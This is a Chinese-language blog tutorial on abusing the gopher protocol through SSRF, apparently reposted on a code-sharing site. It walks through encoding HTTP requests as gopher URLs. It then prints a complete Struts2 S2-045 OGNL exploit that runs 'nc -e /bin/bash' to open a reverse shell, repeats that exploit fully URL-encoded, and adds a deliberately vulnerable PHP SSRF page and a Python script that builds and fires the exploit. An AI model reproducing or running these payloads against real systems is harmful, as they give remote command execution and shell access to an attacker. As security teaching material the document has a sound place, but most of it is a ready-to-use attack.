Gopher協議在SSRF漏洞中的深入研究


如果需要大佬寫好的腳本,可以直接去github上面搜

參考文章:https://zhuanlan.zhihu.com/p/112055947   

                  https://www.cnblogs.com/Konmu/p/12984891.html    

                  https://mp.weixin.qq.com/s/umNUpdz6Mqvhlgqu4-9NCQ

1、什么是gopher協議?
2、如何使用gopher協議反彈shell?
3、在SSRF中如何使用gopher協議反彈shell?

Gopher 協議可以說是SSRF中的萬金油,。利用此協議可以攻擊內網的 redis、ftp等等,也可以發送 GET、POST 請求。這無疑極大拓寬了 SSRF 的攻擊面。

gopher協議

定義:Gopher是Internet上一個非常有名的信息查找系統,它將Internet上的文件組織成某種索引,很方便地將用戶從Internet的一處帶到另一處。在WWW出現之前,Gopher是Internet上最主要的信息檢索工具,Gopher站點也是最主要的站點,使用tcp70端口。但在WWW出現后,Gopher失去了昔日的輝煌。現在它基本過時,人們很少再使用它;

想了想,這不和http差不多嘛。。。。。。打比賽的時候可以代替HTTP;

gopher協議支持發出GET、POST請求:可以先截獲get請求包和post請求包,在構成符合gopher協議的請求。gopher協議是ssrf利用中最強大的協議。

語法格式gopher協議格式:gopher://IP:port/_{TCP/IP數據流}    例如:發送數據abc到192.168.0.119:3333地址  就是 margine:~ margin$ curl gopher://192.168.0.119:333/_abcd  

     URL:gopher://<host>:<port>/<gopher-path>_后接TCP數據流   注意:不要忘記下划線 "___"

    · gopher的默認端口是70

    · 如果發起post請求,回車換行需要使用%0d%0a,如果存在多個參數,參數之間的&也需要進行URL編碼

     注意:%0d%0a是\r\n的URL編碼。

使用Gopher發送請求

  • Gopher發送請求:

gopher協議格式:gopher://IP:port/_{TCP/IP數據流}

 

 

 

 

  • Gopher發送GET請求

在gopher協議中發送HTTP的數據,需要以下三步:

1、構造HTTP數據包
2、URL編碼、替換回車換行為%0d%0a
3、發送gopher協議

准備測試用的PHP代碼如下:

<?php 
echo "Hello"." ".$_GET['param']."\n"
?>

一個GET型的HTTP包,如下:

curl gopher://192.168.109.166:80/_GET /get.php?param=Konmu HTTP/1.1
Host:192.168.109.166%0d%0a

這里必須對HTTP頭中的部分內容進行編碼

URL編碼后為:

curl gopher://192.168.109.166:80/_GET%20/get.php%3fparam=Konmu%20HTTP/1.1%0d%0aHost:192.168.109.166%0d%0a
對比上面的可以看到,
被轉換成了 %3f
換行被轉換成了 %0d%0a
空格 被轉換成了 %0d

在轉換為URL編碼時候有這么幾個需要注意的地方:

1、問號(?)需要轉碼為URL編碼,也就是%3f
2、回車換行要變為%0d%0a,但如果 直接用工具轉,可能只會有%0a
3、在HTTP包的最后要加 %0d%0a,代表消息結束(具體可研究HTTP包結束)

此外自己本地測試時要注意將防火牆關掉!!!

 

 

  •  Gopher發送POST請求

POSTGET傳參的區別:它有4個參數為必要參數

需要傳遞Content-Type,Content-Length,host,post的參數

如果發起post請求,回車換行需要使用%0d%0a,如果多個參數,參數之間的&也需要進行URL編碼

發送POST請求前,先看下POST數據包的格式

POST /ssrf/base/post.php HTTP/1.1
host:192.168.0.109
Content-Type:application/x-www-form-urlencoded
Content-Length:11                                                          

name=Margin

將上面的POST數據包進行URL編碼並改為gopher協議

curl gopher://192.168.0.109:80/_POST%20/ssrf/base/post.php%20HTTP/1.1%0d%0AHost:192.168.0.109%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:11%0d%0A%0d%0Aname=Margin%0d%0A

注意,這是一整行,復制粘貼的時候不能斷開。

post.php的代碼為

<?php
    echo "Hello ".$_POST["name"]."\n"
?>

使用curl發起gopher的POST請求后,結果為:

 

 OK,那我們現在就介紹完了gopher協議的GET和POST請求



Gopher在SSRF中的利用 —— 使用Gopher協議反彈shell

1.struts2-045漏洞 可用 Gopher協議彈shell ,詳細文章在 分類 -> web滲透入門階段學習 里

說個題外話,struts2-045漏洞可以直接修改 content-type 內容直接利用,沒必要非得用 Gopher 協議,當然,這里是借助struts2 -045漏洞 為了展示Gopher 在SSRF 中 getshell 的功能。

1.我們先准備了一個帶有ssrf漏洞的頁面,代碼如下:

<?php
    $url = $_GET['url'];
    $curlobj = curl_init($url);
    echo curl_exec($curlobj);
?>

這里需要注意的是,你的PHP版本必須大於等於5.3,並且在php.ini文件中開啟了extension=php_curl.dll
2. 我在kali開啟了一個監聽nc -lp 6666
然后在瀏覽器中訪問:

http://192.168.0.109/ssrf/base/curl_exec.php?url=gopher://192.168.0.119:6666/_abc

 可以看到nc接收到了消息,沒有問題。

>nc -lp 6666
abc

看了大佬的滲透過程,當時感覺,有必要這么復雜么,直接寫shell不行么?(因為昨天剛復現並且寫完SSRF + redis 寫shell。。。)但是仔細想想,咋直接寫?寫到哪里???

這個STRUTS2-045漏洞和redis 寫 shell 的原理不一樣,這個直接構造HTTP頭就可以執行命令,所以不需要寫shell這類的。

關於struts2-045漏洞,比較出名的漏洞,影響很大,網上有很多很多poc,直接修改content-type內容即可,你要是問我為啥內容是這個,我也不會。。。

GET /S2-045/ HTTP/1.1Host: 192.168.0.119Content-Type:%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nc -e /bin/bash 192.168.0.119 6666').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

我們將其變為gopher所能使用的請求

 curl gopher://192.168.0.119:8080/_GET%20/S2-045/%20HTTP/1.1%0d%0aHost:192.168.0.119%0d%0aContent-Type:%25%7b%28%23%5f%3d%27%6d%75%6c%74%69%70%61%72%74%2f%66%6f%72%6d%2d%64%61%74%61%27%29%2e%28%23%64%6d%3d%40%6f%67%6e%6c%2e%4f%67%6e%6c%43%6f%6e%74%65%78%74%40%44%45%46%41%55%4c%54%5f%4d%45%4d%42%45%52%5f%41%43%43%45%53%53%29%2e%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3f%28%23%5f%6d%65%6d%62%65%72%41%63%63%65%73%73%3d%23%64%6d%29%3a%28%28%23%63%6f%6e%74%61%69%6e%65%72%3d%23%63%6f%6e%74%65%78%74%5b%27%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%2e%63%6f%6e%74%61%69%6e%65%72%27%5d%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%3d%23%63%6f%6e%74%61%69%6e%65%72%2e%67%65%74%49%6e%73%74%61%6e%63%65%28%40%63%6f%6d%2e%6f%70%65%6e%73%79%6d%70%68%6f%6e%79%2e%78%77%6f%72%6b%32%2e%6f%67%6e%6c%2e%4f%67%6e%6c%55%74%69%6c%40%63%6c%61%73%73%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%50%61%63%6b%61%67%65%4e%61%6d%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%6f%67%6e%6c%55%74%69%6c%2e%67%65%74%45%78%63%6c%75%64%65%64%43%6c%61%73%73%65%73%28%29%2e%63%6c%65%61%72%28%29%29%2e%28%23%63%6f%6e%74%65%78%74%2e%73%65%74%4d%65%6d%62%65%72%41%63%63%65%73%73%28%23%64%6d%29%29%29%29%2e%28%23%63%6d%64%3d%27%6e%63%20%2d%65%20%2f%62%69%6e%2f%62%61%73%68%20%31%39%32%2e%31%36%38%2e%30%2e%31%31%39%20%36%36%36%36%27%29%2e%28%23%69%73%77%69%6e%3d%28%40%6a%61%76%61%2e%6c%61%6e%67%2e%53%79%73%74%65%6d%40%67%65%74%50%72%6f%70%65%72%74%79%28%27%6f%73%2e%6e%61%6d%65%27%29%2e%74%6f%4c%6f%77%65%72%43%61%73%65%28%29%2e%63%6f%6e%74%61%69%6e%73%28%27%77%69%6e%27%29%29%29%2e%28%23%63%6d%64%73%3d%28%23%69%73%77%69%6e%3f%7b%27%63%6d%64%2e%65%78%65%27%2c%27%2f%63%27%2c%23%63%6d%64%7d%3a%7b%27%2f%62%69%6e%2f%62%61%73%68%27%2c%27%2d%63%27%2c%23%63%6d%64%7d%29%29%2e%28%23%70%3d%6e%65%77%20%6a%61%76%61%2e%6c%61%6e%67%2e%50%72%6f%63%65%73%73%42%75%69%6c%64%65%72%28%23%63%6d%64%73%29%29%2e%28%23%70%2e%72%65%64%69%72%65%63%74%45%72%72%6f%72%53%74%72%65%61%6d%28%74%72%75%65%29%29%2e%28%23%70%72%6f%63%65%73%73%3d%23%70%2e%73%74%61%72%74%28%29%29%2e%28%23%72%6f%73%3d%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%73%74%72%75%74%73%32%2e%53%65%72%76%6c%65%74%41%63%74%69%6f%6e%43%6f%6e%74%65%78%74%40%67%65%74%52%65%73%70%6f%6e%73%65%28%29%2e%67%65%74%4f%75%74%70%75%74%53%74%72%65%61%6d%28%29%29%29%2e%28%40%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%49%4f%55%74%69%6c%73%40%63%6f%70%79%28%23%70%72%6f%63%65%73%73%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%2c%23%72%6f%73%29%29%2e%28%23%72%6f%73%2e%66%6c%75%73%68%28%29%29%7d%0d%0a

 一定要注意最后加上%0d%0a,以及很多URL編碼工具將會回車換行轉碼為%0a,一定要自己替換為%0a%0d

在試錯的過程中發現:URL中的/不能進行兩次編碼,端口號不可以兩次編碼,協議名稱不可兩次轉碼

發送之后就可以反彈shell

最后附上編碼腳本(python2.7):

#!/usr/bin/python
# -*- coding: UTF-8 -*-
import urllib2,urllib

url = "http://192.168.0.109/ssrf/base/curl_exec.php?url="
header = """gopher://192.168.0.119:8080/_GET /S2-045/ HTTP/1.1
Host:192.168.0.119
Content-Type:"""
cmd = "nc -e /bin/bash 192.168.0.109 6666"
content_type = """自己填寫(不要有換行)"""
header_encoder = ""
content_type_encoder = ""
content_type_encoder_2 = ""
url_char = [" "]
nr = "\r\n"

# 編碼請求頭
for single_char in header:
    if single_char in url_char:
        header_encoder += urllib.quote(urllib.quote(single_char,'utf-8'),'utf-8')
    else:
        header_encoder += single_char

header_encoder = header_encoder.replace("\n",urllib.quote(urllib.quote(nr,'utf-8'),'utf-8'))

# 編碼content-type,第一次編碼
for single_char in content_type:
    # 先轉為ASCII,在轉十六進制即可變為URL編碼
    content_type_encoder += str(hex(ord(single_char)))
content_type_encoder = content_type_encoder.replace("0x","%") + urllib.quote(nr,'utf-8')
# 編碼content-type,第二次編碼
for single_char in content_type_encoder:
    # 先轉為ASCII,在轉十六進制即可變為URL編碼
    content_type_encoder_2 += str(hex(ord(single_char)))
content_type_encoder_2 = content_type_encoder_2.replace("0x","%")
exp = url + header_encoder + content_type_encoder_2
print exp
request = urllib2.Request(exp)
response = urllib2.urlopen(request).read()
print response

 

Gopher協議目前應用的很少很少,除了在打CTF比賽比如說禁用了HTTP協議。。。可能會用到,其他很少方面會用到這個協議

 

 這里給大家推薦一個腳本 github 地址:https://github.com/tarunkant/Gopherus , 腳本可以生成利用連接,省去了我們很多事,從下圖可以看見,它支持了我們常見的一些應用。

 

 


除此之外,也可以在 github 上搜索關鍵字 ssrf 來看一些大家常用的腳本和利用方式

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM